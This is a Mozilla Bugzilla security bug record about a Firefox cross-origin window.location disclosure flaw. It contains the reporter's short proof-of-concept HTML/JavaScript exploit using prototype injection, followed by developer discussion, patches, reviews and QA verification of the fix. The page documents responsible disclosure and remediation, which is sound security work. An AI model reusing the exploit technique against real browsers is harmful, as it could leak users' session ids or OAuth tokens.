Last Comment Bug 802557 - More cross origin location access problems
: More cross origin location access problems
Status: VERIFIED FIXED
: csectype-disclosure, sec-high
Product: Core
Classification: Components
Component: XPConnect (show other bugs)
: 16 Branch
: All All
: -- normal (vote)
: mozilla19
Assigned To: Bobby Holley (busy)
: Matt Wobensmith [:mwobensmith][:matt:]
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2012-10-17 05:20 PDT by Antoine Delignat-Lavaud
Modified: 2014-07-24 14:37 PDT (History)
17 users (show)
dveditz: sec‑bounty+
bobbyholley: in‑testsuite+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
+
verified
+
verified
+
verified
+
verified
16+
verified


Attachments
Mochitests. v1 (3.77 KB, patch)
2012-10-17 08:32 PDT, Bobby Holley (busy)
no flags Details | Diff | Review
Mochitests. v2 (3.79 KB, patch)
2012-10-17 11:57 PDT, Bobby Holley (busy)
no flags Details | Diff | Review
Compare principals directly in nsLocation.cpp. v1 (10.70 KB, patch)
2012-10-17 11:57 PDT, Bobby Holley (busy)
bzbarsky: review-
Details | Diff | Review
Mochitests. v3 (6.21 KB, patch)
2012-10-18 05:22 PDT, Bobby Holley (busy)
bzbarsky: review+
Details | Diff | Review
Compare principals directly in nsLocation.cpp. v2 (11.11 KB, patch)
2012-10-18 05:24 PDT, Bobby Holley (busy)
bzbarsky: review+
Details | Diff | Review
Mochitests. v4 r=bz (6.49 KB, patch)
2012-10-18 07:41 PDT, Bobby Holley (busy)
bobbyholley: review+
Details | Diff | Review
Mochitests. v5 r=bz (6.49 KB, patch)
2012-10-18 07:54 PDT, Bobby Holley (busy)
bobbyholley: review+
abillings: sec‑approval+
Details | Diff | Review
original testcase for convenience (482 bytes, text/html)
2012-10-18 11:13 PDT, Daniel Veditz [:dveditz]
no flags Details
Compare principals directly in nsLocation.cpp. v3 (11.46 KB, patch)
2012-10-18 14:16 PDT, Bobby Holley (busy)
bzbarsky: review+
akeybl: approval‑mozilla‑aurora+
akeybl: approval‑mozilla‑beta+
akeybl: approval‑mozilla‑release+
akeybl: approval‑mozilla‑esr10+
Details | Diff | Review
Beta bustage fix. v1 (834 bytes, patch)
2012-10-23 08:41 PDT, Bobby Holley (busy)
bzbarsky: review+
Details | Diff | Review

Description Antoine Delignat-Lavaud 2012-10-17 05:20:48 PDT
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4

Steps to reproduce:

Firefox 16.0.0 suffered from a nasty bug allowing cross-origin access to window.location, which can be easily exploited to steal session ids or OAuth tokens on many websites, including high profile ones.

Even though 16.0.1 fiexed the immediate bug, this called into question the effectiveness of the wrappers intended to protect the location object. Our research team PROSECCO at INRIA Paris is currently building formal analysis tools for JavaScript and while investigating the wrapped native prototype and global scope polluter implementation, we found that they suffered from a bottom-up property injection by prototype that can be exploited to recover cross-origin locations.

The following minimal exploit should be self-explanatory:

<html>
<head>
<script type="text/javascript">
window.onload = function()
{
 f = document.getElementById('f');
 loc = f.contentWindow.location;
 loc2 = {toString: loc.toString};
 loc2.__proto__ = f.contentWindow.location;
 f.src = "http://www.mozilla.com";
}
</script>
</head>
<body>
<iframe id="f" src="about:blank"></iframe>
<input type="button" onclick="alert(loc2.toString());" value="Get URL" />
</body>
</html>



Actual results:

Clicking the Get URL button reveals the current and complete location of the frame


Expected results:

As soon as the frame's location was changed to mozilla.com access to the location should have been impossible
Comment 1 Bobby Holley (busy) 2012-10-17 07:02:27 PDT
Investigating.
Comment 2 Bobby Holley (busy) 2012-10-17 07:38:54 PDT
Just before midnight on saturday May 12th, I was sitting in a bar in Toulouse and I started worrying that something like this might be possible. I pinged mrbkap on monday (May 14th), and here's the conversation we had:

[12:54pm] bholley: let me know when you've got some time to talk about security stuff
[3:11pm] mrbkap: Hey, I'm here now.
[4:54pm] bholley: still there?
[5:03pm] mrbkap: Hey, yeah.
[5:03pm] bholley: got some time to talk about security stuff?
[5:04pm] mrbkap: Yeah.
[5:04pm] bholley: so, I've been getting concerned about our security wrapper story
[5:05pm] mrbkap: ok
[5:05pm] bholley: specifically with respect to call/apply
[5:05pm] bholley: as in, we filter out access to various properties on certain objects, but then we can just call/apply them from somewhere else
[5:05pm] mrbkap: ok
[5:06pm] bholley: I've been digging through this, and I _think_ we're covered by various things in most places
[5:07pm] bholley: but it's pretty tenuous
[5:07pm] mrbkap: The only place where I'm not entirely sure is COWs, I think.
[5:07pm] bholley: for things that use XPCCallContext, methods and attributes are essentially pre-bound, because of the logic in XPCWrappedNative::GetWrappedNativeForJSObject
[5:07pm] mrbkap: For what objects and what functions?
[5:09pm] bholley: well, so suppose I apply document.getElementById to crossOriginIframe.contentDocument
[5:09pm] mrbkap: That tries to unwrap this, which will throw when it encounters a cross origin anything.
[5:09pm] bholley: mrbkap: because of SCRIPT_ACCESS_ONLY, right?
[5:09pm] mrbkap: This is the reason that Xray wrapper functions are effectively bound functions right now.
[5:10pm] mrbkap: Right.
[5:10pm] mrbkap: They skip that particular security check.
[5:11pm] bholley: mrbkap: ok. Xrays are the only way to do anything cross-origin
[5:11pm] bholley: however, there are a few other cases
[5:12pm] bholley: well, hm
[5:12pm] bholley: so, there's Location
[5:12pm] bholley: but I guess that's always an Xray
[5:12pm] mrbkap: Right.
[5:12pm] bholley: but here's a related problem with Location:
[5:13pm] mrbkap: So, I admit that I based a lot of the security guarantees on the limited nature of what content can do cross-origin.
[5:13pm] bholley: what's to stop you from pulling a method off of the Location object when it's same-origin, and then apply()ing it once it's cross-origin?
[5:14pm] mrbkap: hmm
[5:14pm] bholley: it seems like the capability model doesn't work there
[5:15pm] bholley: we should probably make Location SCRIPT_ACCESS_ONLY
[5:15pm] mrbkap: It should be already no? Since it's an Xray?
[5:15pm] mrbkap: Location always had to be special because it does the dynamic check.
[5:16pm] bholley: mrbkap: see LW in FilteringWrapper.cpp
[5:17pm] mrbkap: Right.
[5:17pm] mrbkap: But see AccessCheck::isScriptAccessOnly.
[5:18pm] bholley: oh, I see
[5:19pm] bholley: so, ScriptAccessOnly basically means that the object can only be used in C++ if it's used as the |this| parameter when invoking a method on it with the appropriate Xray wrapper?
[5:20pm] mrbkap: Technically it could be an argument as well, but in reality that's right.
[5:20pm] bholley: hm, how could it be an argument? Where would the relevant unwrapping be done?
[5:20pm] mrbkap: And because of the Xray wrapper creating bound methods bug, you have to call *that* function specifically.
[5:20pm] bholley: (which bug is this?)
[5:20pm] mrbkap: That's why I said "technically", right now, that can't happen.
Comment 3 Bobby Holley (busy) 2012-10-17 07:55:25 PDT
(Since it's probably not obvious to those skimming, this was the key question):

>[5:13pm] bholley: what's to stop you from pulling a method off of the Location object when it's same-origin,
> and then apply()ing it once it's cross-origin?

The 'bound method' situation prevents these functions from being apply-ed to _other_ Location objects, but the security characteristics of Location mean that we shouldn't be able to apply() it to the original Location object either. And we can. I'll attach a mochitest that demonstrates the issue without the __proto__ gunk.
Comment 5 Bobby Holley (busy) 2012-10-17 08:32:34 PDT
Created attachment 672320 [details] [diff] [review]
Mochitests. v1

Here are some mochitests that demonstrate the issue with call/apply. They fail
fail for both LW and XLW.
Comment 6 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-17 09:29:55 PDT
> The 'bound method' situation

Which wouldn't apply in the Location.prototype.toString.call() case, right?
Comment 7 Bobby Holley (busy) 2012-10-17 10:49:46 PDT
(In reply to Boris Zbarsky (:bz) from comment #6)
> > The 'bound method' situation
> 
> Which wouldn't apply in the Location.prototype.toString.call() case, right?

apply()ing Location.prototype.toString() won't work, because it will choke on the security wrapper (via isScriptAccessOnly). Only methods pulled off this kind of security wrapper can be used on XOWed objects (and Location objects).
Comment 8 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-17 11:03:41 PDT
> apply()ing Location.prototype.toString() won't work,

Ah, I see.  OK.  That will need to get specced too, assuming those methods are on the prototype at all when the spec all shakes out.
Comment 9 Bobby Holley (busy) 2012-10-17 11:11:04 PDT
So, in the long term, we really need to fix up this whole story. In particular, relying on bound methods and the magic of GetWrappedNativeOfJSObject is pretty lame. I think we need to do a security check at call time somehow. I've been wanting to fix this for a while, but haven't found the cycles to work on it. :-(

In the mean time, I think we need to do a dynamic security check in the actual nsLocation implementation itself. It's a little gross, but should fix this issue, and be good defense-in-depth to boot.

I'll start writing a patch now.
Comment 10 Bobby Holley (busy) 2012-10-17 11:12:50 PDT
(In reply to Boris Zbarsky (:bz) from comment #8)
> > apply()ing Location.prototype.toString() won't work,
> 
> Ah, I see.  OK.  That will need to get specced too, assuming those methods
> are on the prototype at all when the spec all shakes out.

IMO we should actually change this to allow some degree of call/apply with this stuff, because it also affects what can happen with cross-origin objects. Currently, you can't do any sort of call/apply with XOWs, which seems kind of wrong. Maybe we should sit down at some point and figure out exactly how this should look spec-wise?
Comment 11 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-17 11:15:46 PDT
Yes, yes, we should.
Comment 12 Antoine Delignat-Lavaud 2012-10-17 11:54:24 PDT
One may wonder whether the real problem here is the ability to call a method from an object created in your own scope after it changed origin or the fact itself that the security principal of your own object changed. Thus, while a dynamic check in nsLocation is a possible solution, why not consider making each Location specific to their window object? There is no specification of the Location object that mandates making it persistent across pages, let alone origins.
Comment 13 Bobby Holley (busy) 2012-10-17 11:57:17 PDT
Created attachment 672435 [details] [diff] [review]
Mochitests. v2

I had to change these tests slightly to handle the fact that I'm now
throwing NS_ERROR_DOM_SECURITY_ERR, which prints 'the operation is insecure',
which doesn't contain the word 'denied'.
Comment 14 Bobby Holley (busy) 2012-10-17 11:57:51 PDT
Created attachment 672437 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v1

This should fix the bug.
Comment 15 Bobby Holley (busy) 2012-10-17 12:05:21 PDT
(In reply to Antoine Delignat-Lavaud from comment #12)
> One may wonder whether the real problem here is the ability to call a method
> from an object created in your own scope after it changed origin or the fact
> itself that the security principal of your own object changed. Thus, while a
> dynamic check in nsLocation is a possible solution, why not consider making
> each Location specific to their window object? There is no specification of
> the Location object that mandates making it persistent across pages, let
> alone origins.

This is possible, but isn't trivial. It would involve "brain transplanting" [1] the Location object along with the window whenever navigation occurs. It would be awesome though, because Location objects are currently the only DOM objects whose security can't be enforced at scope/compartment boundaries. It's actually something I've been wanting to experiment with for a while now.

Regardless though, the fix we do here needs to be safe enough to backport to mozilla-beta, so we'll do the dumb thing for now. If you're interested, I'd be happy to talk in more detail about the other approach.

[1] - See the last part of http://andreasgal.com/2010/10/13/compartments/
Comment 16 Bobby Holley (busy) 2012-10-17 12:06:38 PDT
(also, we'd lose all content-defined properties ("expandos") on page navigation, which might break the web. Do other engines preserve these?)
Comment 17 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-17 12:40:36 PDT
Comment on attachment 672437 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v1

Why are we checking in the setters?  I don't think we should be doing that.

The check in reload() is almost certainly not web-compatible.  Same for assign().

On the other hand, we _do_ want to check in toString, right?
Comment 18 Bobby Holley (busy) 2012-10-17 16:16:33 PDT
(In reply to Boris Zbarsky (:bz) from comment #17)
> Comment on attachment 672437 [details] [diff] [review]
> Compare principals directly in nsLocation.cpp. v1
> 
> Why are we checking in the setters?  I don't think we should be doing that.
> 
> The check in reload() is almost certainly not web-compatible.  Same for
> assign().

They implement the same semantics as AccessCheck::IsPermitted. Is there some other way we cam reach these setters and methods? 
> 
> On the other hand, we _do_ want to check in toString, right?

ToString just calls GetHref, which already has a check.
Comment 19 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-17 16:40:19 PDT
> They implement the same semantics as AccessCheck::IsPermitted

So right this second, do we prevent reload() and assign() on cross-origin location objects?  As well as all setters other than "href"?

> ToString just calls GetHref, which already has a check.

OK, then it should document that in the C++ for ToString().
Comment 20 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-17 16:40:51 PDT
Oh, and if we don't already have tests for Location.prototype.foo.call, we should.
Comment 21 Bobby Holley (busy) 2012-10-18 05:22:31 PDT
Created attachment 672752 [details] [diff] [review]
Mochitests. v3

Alright, I spent a few hours significantly beefing up these tests. Flagging bz for review.
Comment 22 Bobby Holley (busy) 2012-10-18 05:23:18 PDT
(In reply to Boris Zbarsky (:bz) from comment #19)
> > They implement the same semantics as AccessCheck::IsPermitted
> 
> So right this second, do we prevent reload() and assign() on cross-origin
> location objects?  As well as all setters other than "href"?

Yes.

> > ToString just calls GetHref, which already has a check.
> 
> OK, then it should document that in the C++ for ToString().

ok.
Comment 23 Bobby Holley (busy) 2012-10-18 05:24:25 PDT
Created attachment 672753 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v2

Adding the requested comment and reflagging bz.
Comment 24 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-18 06:17:27 PDT
Comment on attachment 672752 [details] [diff] [review]
Mochitests. v3

s/pull off/pulled off/

Should the test functions in file_bug802557.html include gTS.call() and gTS.apply() directly?

Is there a reason gGHR is gotten with lookupGetter and not getOwnPropertyDescriptor?  Or perhaps we should test both?

Add some tests using Object.prototype.valueOf?

We should still have a basic test for just reading a location object cross-origin directly, without any games.  Or do we have one already?
Comment 25 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-18 06:18:09 PDT
> Yes.(In reply to Bobby Holley (:bholley) from comment #22)
> > So right this second, do we prevent reload() and assign() on cross-origin
> > location objects?  As well as all setters other than "href"?
> 
> Yes.

That's... amazing.  I would have expected that to break the web.  OK, then.
Comment 26 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-18 06:19:48 PDT
Comment on attachment 672753 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v2

r=me

We should definitely look into tying location objects to a particular inner window, imo...
Comment 27 Antoine Delignat-Lavaud 2012-10-18 06:29:49 PDT
(In reply to Boris Zbarsky (:bz) from comment #26)
> We should definitely look into tying location objects to a particular inner
> window, imo...

I also advocate this as the proper solution to this bug. As bholly pointed out, it may not be possible to include this change in a security update, but that's a good design change to consider for future versions.
Comment 29 Bobby Holley (busy) 2012-10-18 07:41:41 PDT
Created attachment 672789 [details] [diff] [review]
Mochitests. v4 r=bz

Updating tests. Carrying over review.
Comment 30 Bobby Holley (busy) 2012-10-18 07:54:26 PDT
Created attachment 672791 [details] [diff] [review]
Mochitests. v5 r=bz

Er, this.
Comment 31 Blake Kaplan (:mrbkap) (please use needinfo!) 2012-10-18 11:00:53 PDT
Ick, sorry about missing this :(
Comment 32 Daniel Veditz [:dveditz] 2012-10-18 11:13:49 PDT
Created attachment 672868 [details]
original testcase for convenience

adding original testcase for convenience. I changed the framed URL because www.mozilla.com uses x-frame-options.
Comment 33 Daniel Veditz [:dveditz] 2012-10-18 11:19:19 PDT
As you could guess from comment 2 this is not a recent regression. Tested and both Firefox 15 and ESR 10.0.9 are vulnerable.
Comment 34 Bobby Holley (busy) 2012-10-18 11:45:28 PDT
(In reply to Boris Zbarsky (:bz) from comment #24)
> Is there a reason gGHR is gotten with lookupGetter and not
> getOwnPropertyDescriptor?  Or perhaps we should test both?

Because it's not an |own| property, and es5 doesn't provide an Object.getPropertyDescriptor.


> Add some tests using Object.prototype.valueOf?

I tried, but apparently Object.prototype.valueOf(someObject) === someObject. So it doesn't throw.

> We should still have a basic test for just reading a location object
> cross-origin directly, without any games.  Or do we have one already?

The QA guy wrote some, right? Did they ever get checked in?

Pushed the patch here to try: https://tbpl.mozilla.org/?tree=Try&rev=71673410b43a
Comment 35 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-18 12:15:41 PDT
> I tried, but apparently Object.prototype.valueOf(someObject) === someObject.

Hmm.  OK.

> Did they ever get checked in?

Not afaict!
Comment 36 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-10-18 12:32:52 PDT
(the latest version of the basic tests from bug 799952 is attachment 670221 [details])
Comment 37 Bobby Holley (busy) 2012-10-18 14:16:20 PDT
Created attachment 672948 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v3

Updated patch that better handles situations where the docshell has been torn down. Flagging bz for re-review.
Comment 38 Bobby Holley (busy) 2012-10-18 14:32:54 PDT
https://tbpl.mozilla.org/?tree=Try&rev=4fab928b01fa
Comment 39 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-18 14:38:32 PDT
Comment on attachment 672948 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v3

r=me
Comment 41 Ed Morley [:emorley] 2012-10-19 07:29:07 PDT
https://hg.mozilla.org/mozilla-central/rev/3739ede6cb9d
Comment 42 Lukas Blakk [:lsblakk] use ?needinfo 2012-10-21 10:07:00 PDT
Branch uplift nominations would be great here.
Comment 43 Bobby Holley (busy) 2012-10-21 13:00:59 PDT
Akeybl gave me blanket approval to land this bug on all branches on monday.
Comment 44 Matt Wobensmith [:mwobensmith][:matt:] 2012-10-22 17:06:29 PDT
Confirmed broken on build 2012-10-17, Firefox 19.0a1.
Verified fixed on build 2012-10-22, Firefox 19.0a1. 
Mac 10.8.2, Windows 7 and Ubuntu 11.10
Comment 46 Alex Keybl [:akeybl] 2012-10-23 07:51:30 PDT
Comment on attachment 672948 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v3

This still needs to land on the FIREFOX_10_0_9esr_RELEASE branch of mozilla-esr10 as well as mozilla-release.
Comment 47 Bobby Holley (busy) 2012-10-23 08:41:44 PDT
Created attachment 674241 [details] [diff] [review]
Beta bustage fix. v1

Beta went orange because a couple of tests using UniversalXPConnect went orange.
It's not clear to me why this didn't fail on m-c and m-a, but I don't think it
matters. This fix does the trick.
Comment 48 Boris Zbarsky [:bz] (Out June 25-July 6) 2012-10-23 08:51:18 PDT
Comment on attachment 674241 [details] [diff] [review]
Beta bustage fix. v1

r=me
Comment 49 Bobby Holley (busy) 2012-10-23 08:59:09 PDT
Followup bustage fix for mozilla-beta:

https://hg.mozilla.org/releases/mozilla-beta/rev/f8a6138bcfba

Still working on esr10 bustage.
Comment 51 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-10-23 13:49:43 PDT
Matt, can you please verify if this is fixed for...

latest-mozilla-aurora:
ftp://ftp.mozilla.org/pub/firefox/nightly/latest-mozilla-aurora

17.0b3 (should be available by tomorrow morning):
ftp://ftp.mozilla.org/pub/firefox/nightly/17.0b3-candidates

Same test as you did in comment 38, thanks.
Comment 53 Bobby Holley (busy) 2012-10-24 03:27:18 PDT
pushed to esr10 relbranch: https://hg.mozilla.org/releases/mozilla-esr10/rev/6564d2216240
Comment 54 Matt Wobensmith [:mwobensmith][:matt:] 2012-10-24 13:21:24 PDT
Verified fixed on build 2012-10-24, 17.0b3
Verified fixed on build 2012-10-24, Aurora 18.0a2
Mac 10.8.2, Windows 7 and Ubuntu 11.10
Comment 55 Matt Wobensmith [:mwobensmith][:matt:] 2012-10-24 20:05:49 PDT
Verified fixed on build 2012-10-24, 10.0.10esr
Verified fixed on build 2012-10-24, 16.0.2
Mac 10.8.2, Windows 7 and Ubuntu 11.10
Comment 56 Bobby Holley (busy) 2012-11-04 06:23:50 PST
Comment on attachment 672791 [details] [diff] [review]
Mochitests. v5 r=bz

Now that I believe we've got this fixed everywhere, requesting sec-approval to check in this mochitest.
Comment 57 Al Billings [:abillings] 2012-11-07 15:24:40 PST
Comment on attachment 672791 [details] [diff] [review]
Mochitests. v5 r=bz

sec-approval+. Go for it.
Comment 59 Ed Morley [:emorley] 2012-11-08 03:08:19 PST
(In reply to Al Billings [:abillings] from comment #57)
> Comment on attachment 672791 [details] [diff] [review]
> Mochitests. v5 r=bz
> 
> sec-approval+. Go for it.

https://hg.mozilla.org/mozilla-central/rev/6f686b428e0e

Note You need to log in before you can comment on or make changes to this bug.